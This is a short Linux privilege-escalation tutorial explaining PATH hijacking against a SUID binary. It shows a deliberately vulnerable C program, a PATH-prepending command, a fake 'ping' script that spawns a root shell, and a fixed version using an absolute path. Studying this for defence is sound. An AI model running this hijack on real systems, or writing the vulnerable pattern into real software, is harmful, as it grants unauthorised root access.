Exploiting the PATH variable

Privilege escalation by exploiting the PATH variable


Theory of the PATH variable

It is possible to escalate privileges by manipulating and abusing the PATH variable in Linux. To understand this concept it is necessary to know the idea of the PATH variable itself.

Usually it looks something like /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin and can be printed with echo $PATH.

Executing a binary like ping can be done by simply entering ping into the terminal; it does not matter if the binary is in the current working directory (cwd) or not. This is because the ping binary is located in /usr/bin; that directory is included in the PATH variable. The Linux operating system will go through all the directories in the PATH variable and check if the binary is in there (if so it gets executed).

The concept is left to right which means that the OS will first look in /usr/local/sbin, then in /usr/local/bin, then in /usr/sbin, ...

In case the binary is not found an error message (eg: xyz: command not found) will be printed.


Exploiting the vulnerability

A use-case for that privilege escalation (PE) method is a binary that has the SUID bit set and executes another program (eg: ping).

An attacker logged in on a server as a non-root user could now manipulate his PATH variable by adding the home directory of the user to the front of it.

This can be done with export PATH=/home/nop:$PATH (where /home/nop is my home directory).

The binary executing ping would now search for that binary in /home/nop first and if it finds it execute it.


Example

The binary "SecureBinary" executes the system command ping 127.0.0.1:

0#include <stdlib.h>
1#include <unistd.h>
2
3int main(){
4	setuid(0);
5	system("ping 127.0.0.1");
6	return 0;
7}

In case the PATH variable was not changed it will most likely find the original ping binary and execute it with the parameter "127.0.0.1".

If (like above) the PATH variable got modified the attacker can execute his code by creating another file called "ping" in /home/nop. Since Linux will first look for the ping binary in /home/nop and then move on this file would get executed instead of the original file.

For example in /home/nop the attacker creates a file called "ping" containing the following code:

0#!/usr/bin/python3
1
2import os
3
4os.setuid(0)
5os.system('/bin/bash')

and makes it executable with chmod +x ping.

SecureBinary will execute ping in /home/nop which means the Python code above gets executed what leads to a root shell. be8e3eb49c4c388b291db809d0c43f3e.png


A possible fix

This security issue can be fixed by adding the complete path to the code:

0#include <stdlib.h>
1#include <unistd.h>
2
3int main(){
4	setuid(0);
5	system("/usr/bin/ping 127.0.0.1");
6	return 0;
7}